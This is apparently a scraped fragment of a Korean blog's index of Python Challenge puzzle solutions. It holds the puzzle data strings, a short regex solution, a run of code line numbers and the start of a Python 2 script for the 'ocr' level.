PKaKyPwfMJIvBUPJFjOjXqOtWXnJerTyfLBHcpvslcFXuqePWnKSMNxTdtlkjUrdZBAfuAvcSkOuGItP DEDnglUSMrZkJlwJAmWiBJVZjzywtwjBPqUNTKnPxMQCTJufdWNiioSrhoYmWkYFqvIBTQXoItRlfpjG CvxQyoIHlxKzyNIapFVJQCjgrTlGqmxQrWsIRfeeJcpHqayFkrrRQAvdPklbPbJuGiknTHzzYJSZRBzP VBgMQnWyNmHElRIkxTpsaCWVqzDXBieLurzARlcCmZWBMLuXvrvkqlSbBUBzkhLxcIZdAwdhkmXnYHUW fgmEVkaxuwyUJegBAmgcvSDHTGsyehcwlqOWXDvdFDOYNwHsGolYTDWWCVnoMEDHLwDZOiIFoEghDyzP VfBgFAqFjyjQSJGPXUIjMXtbPBhTXVsbNXXbjfqUoDMKMSMySZfThaykPvXFoJjqepblrGbQBCeoRFUm JzKvHzEUmciNCBjIpICtQgvHHeCyaunOrxNAxgXrNhbokpjmbUVTnjfCQunojDUgEPmHufYFAOuLjSnW vSMFCeOrTcUjGPADANSjBWBTDTboAcvjbymTCbJhZAQxIiyGyzbaUIijFYFdpkqdgejWWJKWCJgVrVBg FnztcwDJVTXEocBzzGICmudknKOGdJRnuQrUSuiGMJpPqERoKWnvMEVbTrHXVWBftvUpFxFDrpHOlSIM czgTBmCORMFkaBhLKJdmqyPIjjDmPUhmaaDhgIMQssbIVVqnhWpRgWwhkPFINTkTsxBwNRqWDrriWlGK DwEcseTkyFvfQSHfzFiQkkjRAHOGdlUbcYqCIqxYuJZWhojWvTzcVaxlPTmsEiuMTWPtrLhmflWJHAhh RzKdjsziZMyDkaLdLgcFpshtFBzrjXOlKjJZqMscCrurTWfbUFIfEXfJyRxmeyVivMqtGvJDZRWWSEQQ zuiIeXWVRQtcCallRqYNKhOxYJwLKpioqoUJrvxAIpNwgcveovCsfzddnwLkiHTaqvdZnAPDMjXdPAMM aKPEDtAcRcnOmVAnWpYwlckWLEHbcciLlXQsQhYadTcXHIkYQkUUtekVHNeOLPUZVQmWkFpIlGqDrICI AhEIHjLjmadcBtQmCJKiHnzEkCmJnNXUXJZtwdtsTalneUpaXGyVoGVinWdZAINrCvrGgdTaljdRqnWQ xCrurrtWwIeuBrIuPdnpWSEUPPOCRvPaLjAnVpuxtjKKaacZiZfPskSNuWOHBSWomtOmuqgmPwHzhbDi GfbWfMFAzqDyfGCRfSbOhQjYbSxScagTOFHJxdOscKOIDUMEexfHZFXvvZathMvpugyuplCQVLLIijPQ pETSDgPYLEZndRCRBqNJmmFKDhxreFIjfJWrySXeHuKMOuDjJDrjzYtPbwiClbuvBoGWyTRgMkjrwJgO NobDHVWysyDUsxYPBmVkyWcQmYJDvExHZpUWHFuVJANZKKoufiHYjLtdmUlryQdFikZbDjgqfnzLRwVA rFgglSdAljflUTjSyOxJfcuyqKeLkXLVZgsAgnjpJgdNhenJeNJhIdKMRFGISYuLjpdYPueEfOySxZsK oiAaxnTWGvVyHaLBaQTlAyWTaVOjENThhHZIldJysycKTLZNgOfIWHaeKHzUkuOKIMwZZfWRcmgIMqdH KDdmwBWFjcOOpPiTWQdYzXGyotjpzRQVJtUiNimtRmVBTLIFKMsfnbXaRDMVpGqJPTUAGYnnQFpHogEh iNonmFqpgirGRrYouiAQCLLKUrTEDfrAyFLlemtLoqvMyHgMUIDwrrcSHgqoJFKZPgeObPyNKJqhCjzD wFCJrYjPMGsmCTPZmkfwDjTDvJuqXOUvhASPAtJnshwkSmhQPDMbQEpvJUQVGoMqaGVsJTiDnjDlqzJb ZpJqCiGHYdfLlozWjGTBfeRccgTSoZGBJVUidJNDPVCwNyQEMUfOkYkopDFoSYimrjhPUSWOVFFslXuH FwGadAaoxZsyCUBBAwjCDrUmeLCZnknsZYLbnyZFPsfWANnCGXDgGXMnnHWyAhswLClklfyJHWIGRIta YbvJsyKUxZJPOHikAeMjrWMKkOGIGkXbWaDHYCivWJBGyapZuNoGOTgiboazIgYfhVrlJCQlckwzORqf YYZDLkPpVVrRBkvPUwAajiBYFsUHCERGKXYoYRSAFAkVVUCcyxTmfiYwrqPabLjiaWZJavgevbPVqeKH NpYHapQMLleltzWrAMCuBOuDLUsHjmGBkYyZNGKOjIHODUtdiKmacCVxvHVMAkOmwxaxecxfIBeUfYIW GhVerLKgTnQwDQjfbYDGnyjxXUjJxEIIAIJeCiHLRXFsFqRliwOjhGzvKwUdBNpHhZMKZxKSwsIYbnPB DdhLBKCIOVLbqqfOGvcQxgzqOBJalnHqpzqGBYGXkzpdEOCtNRYQDyFNgHpVNXUPKspppPWDsJynQiMe dUjrgKktiuyWgZECYlowmTKIaaZrXqsqDGqUoDbHkYyzdeTjMfwcKZYEcygxXmzOWnPtgeSGSTZIspGe IqWmbGnFXKYuWsIgebIhMyZgqyCYGAHCABGTccPEsIMgIomuOQBxjCSnBBoZVyHQcpyDUiUInRRQUGnM xRkBAuyzWcqHaQskvIsWhwJHHqwTnBIKEJQXDVcBeADrTvmWRJCHhlfftoywzyDxeJAXJEHnyKZnCPHf QfZjPnuDnNvMNXYDrIKPoLEHBcelddIbifWQayzVVgyKuGocVGSDDOfGoDTcAvblCBjPVuOaopqPorvk XAmPPKhkoHiUXGdoXUDphytuxtmYWOtyTRIZGXaWoQIjYCnJcMFGosGGLBnpkYNyUnjYJHoHJFAOCTUN AlYiZLbAkeRRadJxMJGyobaGtYGVKdkjgAWwNzdGddBZhrZUbcemTVrXuwcqZJZWEOJgzHkaeRrLHzWh fRxdGcsYxTPlUfZqNiFSWmpeyUMXBnNoaxgQrJmrMZRSGGNwvRftYOkjnXmfovkXSzUQcaNkRwcaiUvm zfPxcVtFVzYSJSvHOBNvadIdMPoCoogAaLITTUXDJBQpBDUcKGMGAeXvdiWiqYdzpaApztvWUoyIZsrB btzduJqYYJPrtYFVahBhumbHKVaFpACqmZxIEfMWaIsKptKrwoBozgUgxyABdDqgEYpZpAzOHcYahErC brpgPRkjtqHdCFXRogfMdBbJlkevgEGntPozjddKkfTfIlJnpRxXbgcDZxQVJwMTroLvXWwaCvhdlWID xmwuHRLnAngCMoInIERKeyVHbyVihKCLhOlOcRTInBfxLrXtkGIjiBBCadgQJKnntnimgvOIycZczYLW FrcmRhBhhwesJsJUXPpzOABCKfIOhkGtGdJVtqDicTNFCjhjVQBCpmiuzdXPHntdWHgYITPWxvcRewrN eIjczSwYTOtQVxwuUToUOTqjOQrpTmnxvWxaEYioOjZCLBasBIcrZWMNMvSEywdOuNGMNrZeTAeAEcxA qeNIviyhAgpVtKEhVHexKHvsFNwMKndVlaykRypvEtZgBHimRwheVxYMANImTRwpwRsYngKRKYlwZMoG OskDgCsdNcOhxvzIpZGDVFdIUtBILTUJSebXAeOuMBwUCSmcRkcoTVQuSuCFuRAvSVOSjxxZbMpsiYxB lTRBhWBkTbRwbEpTimHCPMktFOJXsrKenghxEkyMpFagzWrGyUKXCieKHfCyLMKnLgQanMeyKSTzwnjs iNEuVhJZKAYmZAEiBeioVnebOrfvBgjHEKyfTpzNnyPzhNUmRFnnCfLGylzZtKApMkuyrBMSpfplnUBk PvFBYGcjLmTzdUAtKmtVzuWAXhauatQCqXFBOcyPfEzxzxbZaDYbAYfevxfXwmbquUkZYBtKptOugtre gSLHvHsCYbZZUIWqNVfbBLuwQxzIdPkDqOdFyAHzcVWzVImWlQwmPdhGavFfwtAZZyBqAxYBpRNLmpOG pTyfrLlNbtBmZofqsFjpyxlafFhCUSlkHSiWgJQqGikwsJMMzLaiCEJQZXzzdfkmNgpkXFXyUYUKOlrP NRhnHKvolzGXFmuJQjqUYCgqLQYsHJsodFfHGARGcQuboCWQOmtiwFuMNyrynjxBvpuCuYXQyauYyQyt CcnnHPNnYwoycvmXQFPHtDfUkrzcfdDeIkMLLnZCcQqGTCdFKxbiwdEZgeAkTnjBOzgqLLiepPNZNgCE PhDErcNklMuDlQGNIiEPkplmoHYUQxpMvFoqBUNxHEndUrZFZbdYqnHWMjeWnXJIowJEXuitzKWymOHs UwKnYZaSIOZNdhGQDXfVnhzGpunjqDQXlhjgHYAaklXxBdeGTQbSwOtnKyXWEhScPZoYVEYBcOvbUOpj PiHYqSvYxEbJFZQBMZwazYhNhopIWhaqNtBINrzkZfdzZgjKimbPZjzXIRpsLPFTNSYKraOJyOAspaFF RDuRzWGcRQsgEhjdilfLuuvTQqSkoxWQDWjTFqaCVVNqyBeBYrvpEvNWTIeAmwhpxRpncCFDqGuoVLWs YznqNyddXhXZwTTRwgAHUWECXygmDcwMcMcuGZIVdcRwCHalNiYXbDFYjfFMAUIikCjvUHWCIWuqGyIe FlbDthXXMTtdtvBRCaRrXSPPkoslEsPvzbBMpTicAwfvXbjUHtQpjnarlfLfvBosWVxXwXMBVCIsRmoQ nPwNBePyKRlpqpuixKVgVjkVjBqTRgDIJAuglUhlTstwFBPfISaiMveLjxWjwYJYZNhlTLMslbBQyYbu KjYKosgSmHZKkLDADQCfoMuLVHeeCrzYEqpWLoeRIhcunPXqiwqAdAGAJKBzIWHqNVwmYISdvivfDOfr MvPbdtztrirPIZtBlmbdfbmVXfvglESZuahISiQFawCiFzjOrAUZlBJmiLJaXLRPebQemgMlrtoxYxhW eZiNrcmSUangudNSeUNyfouBTdUFlcYblciLRJCmZcYbxrOwYdGJWNqQnYpEQfksXvkiuBIJMbdkmnZQ AAGSIMRHFEYbDglmfjiFhGFzrFDTtUPuIUdSMfDmbYyOnVBXwFVxMuXEvcLIXQgNXEgmguOCFKSIUfzu hkJcsfjrpWmZgNhuXpwOPFvrQeMhLeWSZupZoJDwIssgzqeGwCHsLYQGcNKrKOgHFUZMIeASQSYejMRh AdENpADeBQuHHCbHwKXMEHSxefbBmtTtJDCpMJoSRtgwfmDZrRlJdTxPTWQBWmVpeEXklkcdhknVplUc TRvDMLLpFEmjNSfSGgBwuvFMXFrgjzHbyZvYGAcUmesKyznkwgpKPzOZZoYMIFHZlOVNTUVWwRMFgjZL cQNqslzJHcWlnLvCAfRNbOZFnecoSBwliZyTxopHFxLzYiosNfSJatOeKXfMtNGqfIhlPspoMmEjdBMC nxaQYozMCbAsciQmuBguJuvnajnKyDogidmEbVSiQpvxumJGpPPmwLeTVGatfxEukJGWMnleMoXlBvAU BFGKSVJZjKEhqEJoktJqRDCZSXSvwsbTAoxmJHwrkyumiINBNRpcGAbiNuNxRBRyzpmSqHhschdrOyat DUHISNyMSJCnDURDsKBLyESXEbVBcQIlPmJrGBjnjfnyYpLsprNXqhraWfQWqJUyiXItxeNIaYPjgaGe VKTTmItxeZFUhqIEeFWAskmkPpdndqPHRSVyLpvixIxrSOFcLrQMlIPciRATHBSobPDNTMqDWfhAluRm fKiyTrVrISmMIcmeEtMCFhaQeuUTWLyyqyxELDTjwjrONibFXzASOGcEllUqZLPGerPaHGHNLFtYoWDQ SEzQTtahBhkiSUaxuPGukHFwnrFFvUIWfYFYUMiPTgXpnidrnbmakYuKsxazobOamccrheZaAKSRsvZX hrNjiaJfhsrSFDXhgaqIdQxmpCYfVAxkzLMMruIUkyPTVbdrDbWYktyYGNsHgBEAJopAhZdSvHszEzZV ibEsuFWmRzyEWRooShySwYCQqdDBfMjhJDbBrlscxDfmkWYiovHsihkuCuSsxRSrPqPipBkUmFAYPSAs YnuYVpcecBbcKHdvzWYypHLjbkGUIdBNrKwkahKGSiwcurJSISKpVjYftIuiOtfRvywwXWOQERjqSFfz lrXosQbYuhjuAxhtgXtwbuTeucJVywKgtZyNnhjXRLLiHwMoPfpPPyAQZrFGfbzHgulXsmlxPFbWXpuT nkGetBrrcvGvlZSzHgKIoJOyMlZurWhDukuwqwZhvYKpKhmLaAeCPMPELAgINyKqpOapcsKHhPfxFDJA HMkjYdCAmwocWSnEfogJCcGRcKfSjlJMiTSRfPhDqVDEhkCSJNDmOiqXDGVaHzNYecLSWPNIWfBqrHfU duKBbdnrjUEeYwykGTBbbcmojJTDnpKNOSVViSLMMyBsoKjVHxVADCvLscWaqlJSTODptdPBjWFsBldq odhhExmXiUxapAkkDyVzhTSsQyJdPsaJrFNmNMnLxVYRDYpfqXUAxwKlZiKWWvJhjEVrwgzCsWoZFtCE kKjyaqbooOlNkAddgAazFlgKLjlXDGtlvRBYCYQiRfRIfWIYaLZxLrQzrYzBghYOKAaKgXmUpPkCaMmN GlAXokgPsdyUjsiaKSSoeCqMrMbQXeRZqkNeAQpujYJFGfbeceunpFNYjuUPiQVOZPXTKhiwPMLKZEKP NoEPPwXtRoVfGYIRyRgZWyJrMjuBQNchjZBNQUwSgIyXniXCMeXRfAcDKxskxYvMyRGyXeSlOFKFItyI FiUSskVfjqRXgqWOYHdDEWClkYXPjcAcuKkddJrDZqpFYYIlxACJHnfTTOUICdPhknncJRxdkMwSeSVS QdoxJeCJTcjDogRrnFsOIiHKlhyxucemEexjTFgKjdbffVxXqPQxLhdaawVKLxYRqeQGLhXqIeFykJUD MatBIGGTCbkQWAeYOYPoWRIHOSYZcStFGQpExtLKWcOwGMxNzgkbaqOMPkcHgudTOdQooljmZryWDUKG IKGqNZroQwTworzNcXZRBNYSQgMiwoqjgHnCOZYAWMonmDGAYJcPvecBaHeJQWolQZmYhKoBZaVoCQmf BGRdjBsnBnOYLIQXIeTfmwUxtADmBkhDXEZqGsBGOwMQqyLHOObREqMGkSeHepgonKmvKggqnntwXlxW juNjEvszhIaFFlEHHgiLrYDAsrfdvHuyXyEgvLYCEmVLnmjlUxrWvcIdFkkJjaaNZqePUSEHhecBbHRN VLquogLIjUrjRgsXGywAquhfRjUMvmIEDSOXFkupsQARTCqbVjFbKicfFTtVKxbqfSbLlybPvcUSasUP mkPytpvUSvuPtLFmkeKQIWNaJouCnyPyiaRBSYuvMtBXylHWIKkexawFeNwjIpTJBImSUXAAipljptIj MoxFBReUIhcyLaoBVPIZSWfJDMJMwEWaZbjFpgUpXQYtmwDUeUdUruxpUcCGdnlpkCXZlEETSCPauRwg YYCcnRpqBUyMnvWUNyoXhKqwZsrTLteXQVxOSztAxqBwEsKPLLYmXPdkOoUfuEcJYdIfxQXgalSKJfEt TOKazgVKoiUsuemONwHeyCVCuUBkbAMifDjSeyplNXUSPpvzJCFZmLTJQGPRVuSVtZUujsLwtqcGoEka UExetgcupdJsrsbhTYULkVBMCPZIEHlLwarcxqTdcfkAmODkhTJZHjKoyGPfpYsHPqHtLOTWGMixunvq WXxZueyZjieriCSWGRUwIYKmJFjrvkBReOMmvnkprYWTLWNTvzIHtzEtkIzPRGMPidFbewZnqlhYFeYE fpszkxkhRfwiYEXyERfYBMEJFDHThpvtwBQnemRsLmZVPkitRtMYNsFbZonBvtopMftpspksjzeqdxAL tWsLrtDqToVGVOQAOvyIdhWOeHKcykQJxjgqlmGKMiKnmUTJrgDRXaroZEQnyXSoGVDmUUXDiclJejRR wgDEIuvHFxRfQhtqLKnJfONtkcnDORkZqbtPplsjjTEIsquhSsQTwNZuPVxaTqDvwMONBfCsNJuJpJHZ dCdFLtBQPtFQuCdKOrpndJNUFQIDSbetUKylhSUjcDVtbiQrWMRQhAwGUZyPneCGUjGBBTkLqxLAXXtB KfErkDaWMFZZeuqDmXKJEGHyToPUhPphfVhgUZgbIuRAtWnroImpJKqqmEZqeNQCKzhjIkKQHURWLXFw PBuijeoTSpsVLaOGuLVjMZXkBvVXwUuHfBihziiavGSYofPNeKsTXruMUumRRPQJzvSzJkKbtSipiqBd \u0026#39;\u0026#39;\u0026#39; a = re.findall(\u0026#39;[a-z][A-Z]{3}[a-z][A-Z]{3}[a-z]\u0026#39;, str) b = \u0026#39;\u0026#39;.join(a) c = re.findall(\u0026#39;[A-Z]{3}[a-z][A-Z]{3}\u0026#39;, b) d = \u0026#39;\u0026#39;.join(c) e = re.findall(\u0026#39;[a-z]\u0026#39;, d) print \u0026#39;\u0026#39;.join(e) ","date":"2009-09-17T09:06:50Z","permalink":"/2009/09/17/level-4/","title":"The Python Challenge - Level 3"},{"content":"문제 페이지 : http://www.pythonchallenge.com/pc/def/ocr.html\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 #!C:\\pyhton26\\python.exe import re str = \u0026#39;\u0026#39;\u0026#39;%%$@_$^__#)^)\u0026amp;!_+]!*@\u0026amp;^}@[@%]()%+$\u0026amp;[(_@%+%$*^@$^!+]!\u0026amp;_#)_*}{}}!}_]$[%}@[{_@#_^{* @##\u0026amp;{#\u0026amp;{\u0026amp;)*%(]{{([*}@[@\u0026amp;]+!!*{)!}{%+{))])[!^})+)$]#{*+^((@^@}$[**$\u0026amp;^{$!@#$%)!@(\u0026amp; +^!{%_$\u0026amp;@^!}$_${)$_#)!({@!)(^}!*^\u0026amp;!$%_\u0026amp;\u0026amp;}\u0026amp;_#\u0026amp;@{)]{+)%*{\u0026amp;*%*\u0026amp;@%$+]!*__(#!*){%\u0026amp;@++ !_)^$\u0026amp;\u0026amp;%#+)}!@!)\u0026amp;^}**#!_$([$!$}#*^}$+\u0026amp;#[{*{}{((#$]{[$[$$()_#}!@}^@_\u0026amp;%^*!){*^^_$^ ]@}#%[%!^[^_})+@\u0026amp;}{@*!(@$%$^)}[_!}(*}#}#___}!](@_{{(*#%!%%+*)^+#%}$+_]#}%!**#!^_ )@)$%%^{_%!@(\u0026amp;{!}$_$[)*!^\u0026amp;{}*#{!)@})!*{^\u0026amp;[\u0026amp;$#@)*@#@_@^_#*!@_#})+[^\u0026amp;!@*}^){%%{\u0026amp;#@ @{%(\u0026amp;{+(#^{@{)%_$[+}]$]^{^#(*}%)@$@}(#{_\u0026amp;]#%#]{_*({(])$%[!}#@@\u0026amp;_)([*]}$}\u0026amp;${^}@(% (%[@%!}%*$}(*@)}){+@(%@*$\u0026amp;]*^*}*]\u0026amp;$[}*]%]+*}^!}*$^^_()#$^]++@__){\u0026amp;\u0026amp;+((#%+(\u0026amp;+){)$ %\u0026amp;\u0026amp;#($[[+##*%${)_!+{_[})%++)$#))]]]$]@]@($+{\u0026amp;%\u0026amp;%+!!!@]_]+])^*@$(@#${}}#}{%}#+{(@ #__+{{]${]!{(%${%%^)(_*_@+)$]$#_@$)]](}{}$(}*%+!}#+)$%$}+#@*\u0026amp;^{##}+@(%[*@_}{(^]^ +_*{@+[$!!@%$+{_\u0026amp;(#^(([\u0026amp;[][[\u0026amp;@#+}_]\u0026amp;\u0026amp;]}^*\u0026amp;$\u0026amp;)#_^$@$((%)}+{}$#+{+^}\u0026amp;[#[#_+${#[#]{ (@@[%}[}$%+*#$+[%(**!$+@$@\u0026amp;+$_$#!_\u0026amp;\u0026amp;\u0026amp;\u0026amp;{***+)}][}#^!%#\u0026amp;$*)$!%}*\u0026amp;#}}##(^_%^]{+]\u0026amp;\u0026amp;] }^]#^(}@]\u0026amp;$]*_][])$]{_+})^_}]))()^\u0026amp;)(!*![!\u0026amp;}{][(]})[(*^}$\u0026amp;$_@^$)#${%[$_]!^]}}}*+ *^_(+}^)(%(}{\u0026amp;)[}!$$\u0026amp;\u0026amp;+}\u0026amp;[{%}^+#$]@)^\u0026amp;*%{@}]\u0026amp;!%*%$*\u0026amp;][}\u0026amp;{$\u0026amp;*@{@#]$*_[]%%[#]#*%)@ $_^#%$!{#]^$}%^@^+{($!^($%)]+\u0026amp;}+$@[$*)*\u0026amp;)*%!_!!+@\u0026amp;^*{}%#\u0026amp;{}$!(*^*@]@@})[($!)]]}) })(\u0026amp;+##]##%\u0026amp;##$}@{#_])*%(*(@$)}[+(+_)!{{#^{_@)!\u0026amp;)$}@^^^[$#__+$^!*#%%]_!#$]$\u0026amp;+^}% @])])%}]#$((^+{{@++^])$^*#[$}*]}}{)@+)[_}*@^%#]]#+()+)(]_[!!!)+)$+\u0026amp;@@])!}+*%]$[] \u0026amp;\u0026amp;[@+$_\u0026amp;#[$!$${}{%[]#+@)*!#)*!{$#*$%}[(\u0026amp;@$\u0026amp;_@($$]]]_[+(#@}\u0026amp;_}+]@$#_+](}^})!@@}@) }^]^]*}]+\u0026amp;(@@!!](*@#(++*)]!(^$})\u0026amp;_^@+]{#_@*%^[$[%\u0026amp;_%@%_![\u0026amp;\u0026amp;]\u0026amp;_@*#_}[{{])^$[_$_\u0026amp;_ @%%[@#[@_[\u0026amp;+]}[+)!_#_+++%)[@%$(\u0026amp;$[{#@(}$*![#^#{}_)[$^_$${_@\u0026amp;}*![#*#_+%[@{*^$){)# #%}]{+((*^]+{})\u0026amp;#$!#(*%({_!^*[{%@_\u0026amp;#){![\u0026amp;]@$#[#(!{*#^*%)]!%(#]%${*_^{+}(@}{_^(]( _+!_)^\u0026amp;}!#([(+\u0026amp;[@])[_(]@]@\u0026amp;@{#@(%[@+[^@%@+]*_[{]$[_(_@[!]]^%+@#(@$}]@(^**+]%^)^( @}^[]@@[@[@}^(^!]%*_]\u0026amp;$!!^^#*[#*[*_}+[$#(_#%@](+[^+}%{_*#]+*(]}!$(%@%#^)}]_\u0026amp;]{${ }$[*{+\u0026amp;+\u0026amp;}[#_#}_(}){^#{[_%*!$+[#)%]@\u0026amp;\u0026amp;_{)#[+*\u0026amp;+#!\u0026amp;)%)%++$_}){%%*@!*\u0026amp;%__(_!]#$*(_ $^!@@}_())%(\u0026amp;$%]]{{{@+!\u0026amp;%@(^!+*{%[*[!]){(#$@)(^{]%[\u0026amp;*(\u0026amp;!{\u0026amp;}!%*$)*]]$%(__[}_+\u0026amp;)!( ^_\u0026amp;*]*+#@{@[_({$*\u0026amp;}][(*!+$+#%\u0026amp;![%^)^#(#}+*+(@)\u0026amp;\u0026amp;!({^^_*($^+)\u0026amp;{)%$@%)\u0026amp;!$$\u0026amp;\u0026amp;^+#[)$ +!$^]*!%^_$}$+!!\u0026amp;%_\u0026amp;){$%{((\u0026amp;^{{(\u0026amp;_\u0026amp;_]{^}@[$^+]}]^{@!^@_%_{^@*)+^*#$#!+*}#)}@(}!] _*)}$**@}[^_\u0026amp;*^)*+#()]\u0026amp;{{]*+#${@\u0026amp;}#)$[]_+(^_@^][]_)*^*+_!{\u0026amp;$##]((](}}{[!$#_{\u0026amp;{){ *_{^}$#!+]{[^\u0026amp;++*#!]*)]%$!{#^\u0026amp;%(%^*}@^+__])_$@_^#[{{})}$*]#%]{}{][@^!@)_[}{())%) ())\u0026amp;#@*[#}+#^}#%!![#\u0026amp;*}^{^(({+#*[!{!}){(!*@!+@[_(*^+*]$]+@+*_##)\u0026amp;)^(@$^]e@][#\u0026amp;)( %%{})+^$))[{))}\u0026amp;$(^+{\u0026amp;(#%*@\u0026amp;*(^\u0026amp;{}+!}_!^($}!(}_@@++$)(%}{!{_]%}$!){%^%%@^%\u0026amp;#([+[ _+%){{}(#_}\u0026amp;{\u0026amp;++!@_)(_+}%_#+]\u0026amp;^)+]_[@]+$!+{@}$^!\u0026amp;)#%#^\u0026amp;+$@[+\u0026amp;+{^{*[@]#!{_*[)(#[[ ]*!*}}*_(+\u0026amp;%{\u0026amp;#$\u0026amp;+*_]#+#]!\u0026amp;*@}$%)!})@\u0026amp;)*}#(@}!^(]^@}]#\u0026amp;%)![^!$*)\u0026amp;_]^%{{}(!)_\u0026amp;{_{ +[_*+}]$_[#@_^]*^*#@{\u0026amp;%})*{\u0026amp;**}}}!_!+{\u0026amp;^)__)@_#$#%{+)^!{}^@[$+^}\u0026amp;(%%)\u0026amp;!+^_^#}^({ *%]\u0026amp;@{]++}@$$)}#]{)!+@[^)!#[%@^!!+{(@\u0026amp;+++_{!$}{]_%_#^#%\u0026amp;{!_(#$%%\u0026amp;@[})]+_@!(*[_@[ *_\u0026amp;+][^][}^@}])!(\u0026amp;^*[_%+(}!!{!!^*@!({%]#[_\u0026amp;()$]!$]@}*][)#()})[*^[^}]#(((_^#%%]@} ^###%!{(@+]$%*^}(![$@*]_{#*!$*@%*(^+#!)$\u0026amp;]*%$\u0026amp;*@$[)_$!\u0026amp;+_[$)%_*((%+##*]@+#*[$$)^ @)]}!)$^%+%\u0026amp;_#+]\u0026amp;\u0026amp;_!(}+^*#)$%%^+\u0026amp;%^_]@*%^^_#]%{%[\u0026amp;(*_(%(*{^@[@\u0026amp;+!@\u0026amp;[+[++$})$!*}+ (_^%%*}^{+}(+]]_][_(@}^#_{_}*){*)}+*)%#%++}{}__%$$$[%%*})_#*!_!%\u0026amp;*$!]!}{*+{^()$} *$%*$]][{@+*]_*\u0026amp;!^]_*!_{_@(}+%#$+@}_]#@$#^%((#$%+++]])#*@)\u0026amp;([^#]_$%$)[#)){({%@_^ 